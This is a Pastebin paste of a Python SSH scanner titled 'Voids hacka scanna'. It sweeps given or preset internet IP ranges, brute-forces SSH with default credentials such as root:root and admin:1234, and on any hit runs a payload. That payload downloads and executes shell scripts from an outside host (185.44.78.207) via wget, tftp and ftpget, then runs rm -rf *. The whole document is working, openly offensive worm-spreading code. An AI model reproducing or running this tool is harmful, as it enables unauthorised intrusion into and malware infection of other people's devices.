Advertisement
Guest User

Untitled

a guest
Jan 3rd, 2017
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.48 KB | None | 0 0
  1. # Voids hacka scanna
  2. # nano /usr/include/bits/typesizes.h -> change 1024 to 99999
  3. # ulimit -n 99999
  4. # python scan.py 1000 <start-range> <end-range> <<USAGE
  5.  
  6. import threading, paramiko, random, socket, time, sys
  7.  
  8. paramiko.util.log_to_file("/dev/null")
  9.  
  10. blacklisted = ["127.0","10.0","192.168"]
  11.  
  12. server_ip = "173.214.165.104"
  13.  
  14. passwords = ["admin:1234", "adminpldt:1234567890"]
  15.  
  16. if sys.argv[4] == "root":
  17. passwords = ["root:root"]
  18. if sys.argv[4] == "guest":
  19. passwords = ["guest:guest"]
  20. if sys.argv[4] == "telnet":
  21. passwords = ["telnet:telnet"]
  22.  
  23. if len(sys.argv) < 4:
  24. sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")
  25.  
  26. print """\n\x1b[0;37m******************************
  27. * \x1b[0;31mSCANNER STARTING\x1b[0;37m *
  28. ******************************\x1b[0m"""
  29.  
  30. def sshscanner(ip):
  31. global passwords
  32. try:
  33. thisipisbad='no'
  34. for badip in blacklisted:
  35. if badip in ip:
  36. thisipisbad='yes'
  37. if thisipisbad=='yes':
  38. sys.exit()
  39. username='root'
  40. password="0"
  41. port = 22
  42. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43. s.settimeout(3)
  44. s.connect((ip, port))
  45. data = str(s.recv(1024))
  46. if "SSH" in data:
  47. print("\x1b[0;33m[-] SSH Open On -> " + ip + "\x1b[37m")
  48. elif "ssh" in data:
  49. print("\x1b[0;33m[-] SSH Open On -> " + ip + "\x1b[37m")
  50. else:
  51. sys.exit()
  52. s.close()
  53. ssh = paramiko.SSHClient()
  54. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  55. dobreak=False
  56. for passwd in passwords:
  57. if ":n/a" in passwd:
  58. password=""
  59. else:
  60. password=passwd.split(":")[1]
  61. if "n/a:" in passwd:
  62. username=""
  63. else:
  64. username=passwd.split(":")[0]
  65. try:
  66. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  67. break
  68. except:
  69. pass
  70. badserver=True
  71. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  72. output = stdout.read()
  73. if "inet addr" in output:
  74. badserver=False
  75. websites = [ ]
  76. if badserver == False:
  77. print("\x1b[0;32m[+] Executing Payload -> " + ip + ":" + username + ":" + password + "\x1b[37m")
  78. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.44.78.207/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.44.78.207 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.44.78.207; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.44.78.207 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\necho a\r\n")
  79. time.sleep(12)
  80. ssh.close()
  81. except Exception as e:
  82. pass
  83.  
  84.  
  85. if sys.argv[2] == "LUCKY":
  86. ranges = ["122.3.0.0/122.3.255.255", "119.92.0/119.92.255.255", "122.52.0.0/122.52.255.255", "1.2.0.0/1.3.255.255", "122.169.0.0/122.169.255.255", "125.27.0.0/125.27.255.255", "37.238.0.0/37.238.255.255", "152.204.0.0/152.204.255.255", "101.109.0.0/101.109.255.255", "186.117.0.0/186.120.255.255"]
  87. randomrange = random.choice(ranges)
  88. startrng = randomrange.split("/")[0]
  89. endrng = randomrange.split("/")[1]
  90.  
  91. if sys.argv[2] != "LUCKY":
  92. a = int(sys.argv[2].split(".")[0])
  93. b = int(sys.argv[2].split(".")[1])
  94. c = int(sys.argv[2].split(".")[2])
  95. d = int(sys.argv[2].split(".")[3])
  96. else:
  97. a = int(startrng.split(".")[0])
  98. b = int(startrng.split(".")[1])
  99. c = int(startrng.split(".")[2])
  100. d = int(startrng.split(".")[3])
  101. x = 0
  102.  
  103. while(True):
  104. try:
  105.  
  106. if sys.argv[2] != "LUCKY":
  107. endaddr = sys.argv[3]
  108. else:
  109. endaddr = endrng
  110.  
  111. d += 1
  112.  
  113. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  114.  
  115. if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
  116. if sys.argv[2] == "LUCKY":
  117. randomrange = random.choice(ranges)
  118. startrng = randomrange.split("/")[0]
  119. endrng = randomrange.split("/")[1]
  120. a = int(startrng.split(".")[0])
  121. b = int(startrng.split(".")[1])
  122. c = int(startrng.split(".")[2])
  123. d = int(startrng.split(".")[3])
  124. else:
  125. break
  126.  
  127. if d > 255:
  128. c += 1
  129. d = 0
  130.  
  131. if c > 255:
  132. b += 1
  133. c = 0
  134.  
  135. if b > 255:
  136. a += 1
  137. b = 0
  138.  
  139. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  140.  
  141. if ipaddr == endaddr:
  142. if sys.argv[2] == "LUCKY":
  143. randomrange = random.choice(ranges)
  144. startrng = randomrange.split("/")[0]
  145. endrng = randomrange.split("/")[1]
  146. a = int(startrng.split(".")[0])
  147. b = int(startrng.split(".")[1])
  148. c = int(startrng.split(".")[2])
  149. d = int(startrng.split(".")[3])
  150. else:
  151. break
  152.  
  153. if x > 500:
  154. time.sleep(1)
  155. x = 0
  156.  
  157. t = threading.Thread(target=sshscanner, args=(ipaddr,))
  158. t.start()
  159.  
  160. except Exception as e:
  161. pass
  162.  
  163. print "\x1b[37mDone\x1b[37m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement